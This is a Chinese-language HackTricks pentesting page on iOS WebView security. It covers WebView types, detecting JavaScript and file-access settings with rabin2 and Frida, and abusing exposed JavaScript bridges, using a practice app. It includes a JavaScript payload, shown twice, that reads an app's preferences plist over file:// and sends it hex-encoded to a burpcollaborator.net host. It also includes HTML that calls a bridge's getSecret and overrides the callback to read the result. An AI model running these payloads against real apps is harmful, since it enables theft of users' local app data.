22 KiB
iOS WebViews
从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
WebViews类型
WebViews是应用内浏览器组件,用于显示交互式网络 内容。它们可以用来直接将网络内容嵌入到应用的用户界面中。iOS WebViews 默认支持 JavaScript 执行,因此脚本注入和跨站脚本攻击可能会影响它们。
-
UIWebView: 从iOS 12开始UIWebView已被弃用,不应再使用。JavaScript无法被禁用。
-
WKWebView: 这是扩展应用功能、控制显示内容的合适选择。
-
JavaScript 默认启用,但是通过
WKWebView
的javaScriptEnabled
属性,它可以被完全禁用,防止所有脚本注入漏洞。 -
JavaScriptCanOpenWindowsAutomatically
可用于防止 JavaScript 打开新窗口,例如弹出窗口。 -
hasOnlySecureContent
属性可用于验证WebView加载的资源是否通过加密连接检索。 -
WKWebView
实现了进程外渲染,因此内存损坏漏洞不会影响主应用进程。 -
SFSafariViewController: 应当用于提供通用的网络浏览体验。这些WebViews可以很容易地被识别,因为它们有一个特征性的布局,包括以下元素:
-
一个只读的地址栏,带有安全指示器。
-
一个动作("分享")按钮。
-
一个完成按钮,后退和前进导航按钮,以及一个"打开Safari"按钮以直接在Safari中打开页面。
- 在
SFSafariViewController
中无法禁用JavaScript,这是推荐使用WKWebView
的原因之一,当目标是扩展应用的用户界面时。 SFSafariViewController
也共享cookies和其他网站数据与Safari。- 用户与
SFSafariViewController
的活动和互动对应用不可见,应用无法访问自动填充数据、浏览历史或网站数据。 - 根据App Store审查指南,
SFSafariViewController
不得被其他视图或层隐藏或遮挡。
发现WebViews配置
静态分析
UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
或者,您也可以搜索这些 WebView 类的已知方法。例如,搜索用于初始化 WKWebView 的方法([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
测试JavaScript配置
对于WKWebView
,作为最佳实践,除非明确需要,否则应禁用JavaScript。要验证JavaScript是否已正确禁用,请搜索项目中的WKPreferences
用法,并确保javaScriptEnabled
属性设置为false
:
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
如果您只有编译后的二进制文件,您可以在其中搜索这个:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
测试 OnlySecureContent
与 UIWebView
相比,使用 WKWebView
时可以检测到混合内容(从 HTTPS 页面加载的 HTTP 内容)。通过使用方法 hasOnlySecureContent
,可以验证页面上的所有资源是否都通过安全加密连接加载。
在编译后的二进制文件中:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
您还可以在源代码或字符串中搜索字符串 "http://"。但是,这并不一定意味着存在混合内容问题。在 MDN Web Docs 中了解更多关于混合内容的信息。
动态分析
可以通过 ObjC.choose()
检查堆,以找到不同类型的 WebViews 的实例,并且还可以搜索属性 javaScriptEnabled
和 hasonlysecurecontent
:
{% code title="webviews_inspector.js" %}
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
加载它:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
hasOnlySecureContent: false
WebView 协议处理
在 iOS 上的 WebView 中,有几个默认的方案可用,例如:
- http(s)://
- file://
- tel://
WebViews 可以从端点加载远程内容,但它们也可以从应用数据目录加载本地内容。如果加载了本地内容,用户不应该能够影响用于加载文件的文件名或路径,用户也不应该能够编辑已加载的文件。
WebView 内容加载
- UIWebView:它可以使用已弃用的方法
loadHTMLString:baseURL:
或loadData:MIMEType:textEncodingName:baseURL:
来加载内容。 - WKWebView:它可以使用方法
loadHTMLString:baseURL:
或loadData:MIMEType:textEncodingName:baseURL:
来加载本地 HTML 文件,以及loadRequest:
来加载网页内容。通常,本地文件与包括pathForResource:ofType:
、URLForResource:withExtension:
或init(contentsOf:encoding:)
等方法结合使用。此外,您还应该验证应用是否使用了方法loadFileURL:allowingReadAccessToURL:
。其第一个参数是URL
,包含要在 WebView 中加载的 URL,其第二个参数allowingReadAccessToURL
可能包含单个文件或目录。如果包含单个文件,该文件将可供 WebView 使用。然而,如果它包含一个目录,该目录上的所有文件都将可供 WebView 使用。因此,值得检查这一点,如果是目录,验证其中是否没有敏感数据。
如果您有源代码,您可以搜索这些方法。拥有编译后的 二进制文件,您也可以搜索这些方法:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
文件访问
- UIWebView:
file://
方案始终启用。- 从
file://
URLs 的文件访问始终被启用。 - 从
file://
URLs 的通用访问始终被启用。 - 如果你从设置了
baseURL
为nil
的UIWebView
中检索有效源,你会发现它不是设置为 "null",相反,你会得到类似以下的内容:applewebdata://5361016c-f4a0-4305-816b-65411fc1d780
。这个源 "applewebdata://" 类似于 "file://" 源,因为它不实施同源策略,允许访问本地文件和任何网络资源。
{% tabs %} {% tab title="exfiltrate_file" %}
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
{% endtab %} {% endtabs %}
- WKWebView:
allowFileAccessFromFileURLs
(WKPreferences
,默认为false
):它允许在file://
方案URL的上下文中运行的JavaScript访问来自其他file://
方案URL的内容。allowUniversalAccessFromFileURLs
(WKWebViewConfiguration
,默认为false
):它允许在file://
方案URL的上下文中运行的JavaScript访问来自任何来源的内容。
您可以在应用程序的源代码或编译后的二进制文件中搜索这些函数。
此外,您可以使用以下frida脚本来查找此信息:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
泄露任意文件
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
通过 WebViews 暴露的原生方法
自 iOS 7 起,苹果引入了允许 WebView 中的 JavaScript 运行时与原生 Swift 或 Objective-C 对象通信的 API。
原生代码和 JavaScript 通信有两种基本方式:
- JSContext:当 Objective-C 或 Swift 块被赋值给
JSContext
中的一个标识符时,JavaScriptCore 会自动将该块包装在一个 JavaScript 函数中。 - JSExport 协议:在
JSExport
继承协议中声明的属性、实例方法和类方法被映射到 JavaScript 对象,这些对象对所有 JavaScript 代码都是可用的。在 JavaScript 环境中对对象的修改会反映在原生环境中。
注意 只有在 JSExport
协议中定义的类成员 才能被 JavaScript 代码访问。
注意检查将原生对象映射到与 WebView 关联的 JSContext
的代码,并分析它暴露了哪些功能,例如不应该访问和暴露给 WebViews 的敏感数据。
在 Objective-C 中,与 UIWebView
关联的 JSContext
可以如下获取:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
JavaScript 代码在 **`WKWebView` 中仍然可以发送消息回原生应用,但与 `UIWebView` 不同的是,不能直接引用 `WKWebView` 的 `JSContext`**。相反,通信是通过使用消息系统和 `postMessage` 函数来实现的,该函数会自动将 JavaScript 对象序列化为原生 Objective-C 或 Swift 对象。消息处理程序是使用方法 [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add) 配置的。
### 启用 JavascriptBridge
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
发送消息
添加一个名为 "name"
(或在上面的例子中为 "javaScriptBridge"
)的脚本消息处理器会导致 JavaScript 函数 window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage
在使用用户内容控制器的所有 web 视图中的所有框架中被定义。然后可以像这样从 HTML 文件中使用:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
一旦执行了 Native 函数,它通常会**在网页内执行一些 JavaScript**(见下面的 `evaluateJavascript`),你可能对**覆盖将要执行的函数**以**窃取结果**感兴趣。
例如,在下面的脚本中,函数 **`javascriptBridgeCallBack`** 将会被执行,并带有两个参数(被调用的函数和**结果**)。如果你控制了将要加载的 HTML,你可以创建一个**显示结果的警告**,如:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
被调用函数
被调用函数位于 JavaScriptBridgeMessageHandler.swift
:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
//...
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
测试
为了在应用程序内发送 postMessage,您可以:
- 更改服务器响应(MitM)
- 执行动态工具注入并使用像 Frida 这样的框架通过 iOS WebViews 提供的相应 JavaScript 评估函数注入 JavaScript 负载(对于
UIWebView
是stringByEvaluatingJavaScriptFromString:
,对于WKWebView
是evaluateJavaScript:completionHandler:
)。
调试 iOS WebViews
(教程来自 https://blog.vuplex.com/debugging-webviews)
在 iOS webviews 中,传递给 console.log()
的消息不会打印到 Xcode 日志中。使用 Safari 的开发者工具调试 web 内容仍然相对容易,尽管有一些限制:
- 调试 iOS webviews 需要使用 Safari,因此您的开发计算机必须运行 macOS。
- 您只能在通过 Xcode 加载到您设备上的应用程序中调试 webviews。您无法调试通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews。
考虑到这些限制,以下是在 iOS 中远程调试 webview 的步骤:
- 首先,在您的 iOS 设备上启用 Safari Web 检查器,打开 iOS 设置 应用,导航到 设置 > Safari > 高级,然后打开 Web 检查器 选项。
- 接下来,您还必须在开发计算机上的 Safari 中启用开发者工具。在您的开发机器上启动 Safari 并导航到菜单栏中的 Safari > 偏好设置。在出现的偏好设置面板中,点击 高级 标签,然后在底部启用 显示开发菜单 选项。完成后,您可以关闭偏好设置面板。
- 将您的 iOS 设备连接到开发计算机并启动您的应用程序。
- 在开发计算机上的 Safari 中,点击菜单栏中的 开发,然后悬停在您的 iOS 设备名称的下拉选项上,以显示在您的 iOS 设备上运行的 webview 实例列表。
- 点击您希望调试的 webview 的下拉选项。这将打开一个新的 Safari Web 检查器窗口以检查 webview。
参考资料
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF 版本,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们独家的NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。